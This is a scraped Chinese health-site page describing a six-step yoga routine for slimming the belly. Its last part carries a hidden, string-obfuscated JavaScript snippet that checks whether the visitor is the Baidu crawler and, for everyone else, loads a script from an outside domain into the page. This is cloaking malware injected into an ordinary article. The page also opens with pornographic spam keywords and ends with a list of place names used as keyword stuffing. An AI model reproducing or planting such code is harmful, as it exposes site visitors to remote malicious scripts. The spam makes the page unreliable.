亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

采用瑜伽減肚子的動(dòng)作

2017-04-21 14:49:52  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):瑜伽是目前最受青睞的運(yùn)動(dòng)之一了,經(jīng)常做瑜伽不但可以讓我們更加健康而且還能讓我們擁有迷人的身材,很多朋友由于飲食和環(huán)境等關(guān)系導(dǎo)致自己

瑜伽是目前最受青睞的運(yùn)動(dòng)之一了,經(jīng)常做瑜伽不但可以讓我們更加健康而且還能讓我們擁有迷人的身材,很多朋友由于飲食和環(huán)境等關(guān)系導(dǎo)致自己擁有了啤酒肚,那么我們是不是可以采用瑜伽的動(dòng)作來(lái)起到減肚子的功效呢,其實(shí)有幾個(gè)瑜伽動(dòng)作瘦腹上面有著神奇的功效,一起看下文的介紹。

1、呼氣,雙手、雙膝保持不動(dòng),盡量將上身扭轉(zhuǎn)向右側(cè),下巴盡量去夠右肩,兩眼看后方,保持6秒鐘。同樣動(dòng)作換到左側(cè),保持6秒鐘。

2、呼氣,放松頸部,垂頭、含胸、收縮腹肌,拱起后背,保持6秒鐘。

3、小臂支撐于地,緩和腰部的緊張不適感。時(shí)間以個(gè)人感覺(jué)為主。

4、吸氣,曲右腿,雙手抱住。持續(xù)6秒。

5、過(guò)渡到鼻尖貼膝。保持6秒鐘。

6、吸氣,曲起雙腿,雙手抱住,呼氣,壓向胸部。保持6秒鐘。躺平,休息!

練習(xí)感受

這套瑜伽幾分鐘就可以做完一組,做完后感覺(jué)小幅有明顯的發(fā)熱感,剛開(kāi)始聯(lián)系的時(shí)候感覺(jué)很累,慢慢會(huì)適應(yīng),然后可以逐漸給自己加量。

在上面的文章里面我們介紹了瑜伽的功效和作用,我們不但可以采用瑜伽來(lái)養(yǎng)生而且還能用瑜伽來(lái)讓自己變得更加美麗,瑜伽在局部瘦身上面有著很好的效果,上文介紹了瑜伽減肚子的方法。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
河南省| 平罗县| 广元市| 福泉市| 孙吴县| 万全县| 扶沟县| 新沂市| 抚远县| 博乐市| 宁阳县| 华坪县| 石嘴山市| 河津市| 美姑县| 普洱| 尉氏县| 临桂县| 西峡县| 正阳县| 安阳市| 渝北区| 平乐县| 丹寨县| 浏阳市| 民和| 图木舒克市| 涿州市| 前郭尔| 托克托县| 大城县| 余干县| 姜堰市| 门源| 景德镇市| 灵丘县| 文安县| 秭归县| 长沙市| 汽车| 肇庆市|